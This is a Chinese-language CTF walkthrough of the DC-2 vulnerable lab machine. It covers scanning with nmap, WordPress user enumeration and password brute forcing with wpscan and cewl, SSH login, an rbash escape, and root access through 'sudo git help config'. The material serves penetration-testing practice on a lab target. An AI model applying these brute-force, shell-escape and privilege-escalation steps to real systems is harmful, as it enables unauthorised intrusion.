靶场信息:
靶场下载地址:http://www.five86.com/downloads/DC-2.zip
网络信息:
kali:192.168.0.25
靶机:192.168.0.
信息收集
扫描存活主机:
arp-scan -l
发现192.168.0.131存活
使用nmap进行更详细的扫描:
nmap -A 192.168.0.131 -O
可以看到该主机开放了http80服务和
中间件:Apache/2.4.10
flag1:ip地址重定向
访问一下http服务
访问http://192.168.0.131时,网站跳转到了dc-2
该技术是ip地址重定向,通过绑定主机名或域名与ip来达到解析的目的,可以屏蔽恶意网站或加快访问。
访问需要修改hosts文件
linux添加hosts文件的方法:
sudo bash -c 'echo [ip] [跳转的地址] >> /ect/hosts'
在kali输入命令:
sudo bash -c 'echo 192.168.0.131 dc-2 > /etc/hosts'
# 或者修改/etc/hosts文件也是可以的
vim /etc/hosts
192.168.0.131 dc-2
增加重定向地址,即可正常访问web服务:
有一个flag,访问一下:
flag1提示:
你通常的单词表可能不起作用,所以,也许你只需要cewl。
cewl 是一个字典在线生成工具
密码越多越好,但有时你就是无法赢得所有的密码。
以一个人的身份登录以查看下一个标志。
如果找不到,请以另一个用户登录。
flag2:爆破用户进后台
使用dirb扫描目录,发现有一个/wp-admin/
访问,发现是一个登录页面:
上面提示我们需要用cewl生成密码字典,先使用wpscan进行用户枚举
使用wpscan扫描:
wpscan --url http://dc-2/ -e
扫描到了三个账号,分别是:admin、jerry、tom
有了账号还需要密码,新建一个txt文件做用户字典,然后使用cewl生成密码字典:
vim user.txt # 新建txt作用户字典
admin
jerry
tom
┌──(root㉿kali)-[~/Documents]
└─# cewl http://dc-2/ -w user_passwd.txt # 使用cewl生成密码字典
CeWL 6.1 (Max Length) Robin Wood ([email protected]) (https://digi.ninja/)
最后使用wpscan进行爆破,或者使用burp是可以的:
┌──(root㉿kali)-[~/Documents]
└─# wpscan --url http://dc-2 -U user.txt -P user_passwd.txt
扫出了两个匹配的账号密码:
jerry/adipiscing
tom/parturient
返回登录页面http://dc-2/up-admin/,使用获取到的账号密码进行登录:
发现flag2:
如果你不能利用WordPress并走捷径,还有另一种方法。
希望你找到了另一个入口。
flag3
作者提示无法使用wordpress,也就是80端口,尝试一下从ssh服务,7744端口入手
需要使用tom用户才可以进行登录,jarry用户是无法进行登录的:
┌──(root㉿kali)-[~/Documents]
└─# ssh [email protected] -p 7744
passwd:parturient
ls发现flag3.txt,权限不够无法查看
查看权限:
shell权限受限了,无法使用cat命令查看flag3.txt
尝试使用其他命令进行文件读取:
tom@DC-2:~$ cat flag3.txt
-rbash: cat: command not found
tom@DC-2:~$ more flag3.txt
-rbash: more: command not found
tom@DC-2:~$ /bin/cat flag3.txt
-rbash: /bin/cat: restricted: cannot specify `/' in command names
tom@DC-2:~$ head flag3.txt
-rbash: head: command not found
tom@DC-2:~$ tail flag3.txt
-rbash: tail: command not found
tom@DC-2:~$ less flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
flag3.txt (END)
# 可怜的老汤姆总是追着杰瑞跑。也许他应该为自己造成的压力而死。flag3.txt(结束)
使用less命令可以进行读取文件的查看,vi命令也可以
没看懂作者想表达什么,使用su切换jerry用户
tom@DC-2:~$ su jerry
-rbash: su: command not found
rbash"是一个名为"restricted bash"的工具,它是bash shell的一种受限版本
flag4 rbash绕过
查看当前的环境变量:
tom@DC-2:~$ echo $PATH
/home/tom/usr/bin
在/home/tom/usr/bin下,所以shell被限制了,导致不能执行所有的命令,
有两种可绕过的方式:
- 转义环境变量的方式
vi test.txt
:set shell=/bin/bash
shell
- 定义一个环境变量,再添加新的环境变量,可以得到一个shell
BASH_CMD[a]=/bin/sh;a
/bin/bash
这里使用环境变量的方法,比较快捷:
ztom@DC-2:~$ export PATH=$PATH:/bin/
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a
$ export PATH=$PATH:/bin/
$ export PATH=$PATH:/usr/bin
$ whoami
tom
rbash绕过之后就可以使用su登录到jerry
$ su jerry
Password: adipiscing
jerry@DC-2:/home/tom$
jerry@DC-2:/home/tom$ ls
ls: cannot open directory .: Permission denied
jerry@DC-2:/home/tom$ cd
jerry@DC-2:~$ ls
flag4.txt # 发现flag4
jerry@DC-2:~$ cat flag4.txt
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
很高兴看到您已经完成了这一步-但您还没有到家。
你仍然需要获得最终的旗帜(唯一真正重要的旗帜!!)这里没有提示——你现在要靠自己了。
:-)走吧-离开这里!!!!
flag5 git提权
sudo -l
jerry@DC-2:~$ sudo -l
Matching Defaults entries for jerry on DC-2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jerry may run the following commands on DC-2:
(root) NOPASSWD: /usr/bin/git
提示不需要密码就可以使用git
sudo git help config
!/bin/bash
使用find命令查找带flag名的文件居然找不到,直接搜了所有.txt的文件,发现了一个flag.txt,打开,发现这是最后一个flag,也就是flag5
root@DC-2:/home/jerry# find / -type f -name "*txt*"
root@DC-2:/home/jerry# cat /root/final-flag.txt
__ __ _ _ _ _
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/
Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.
恭喜!!特别感谢所有给我发推特和提供反馈的人——我非常感激。
如果你喜欢这个CTF,请通过@DCAU7给我发一条推文。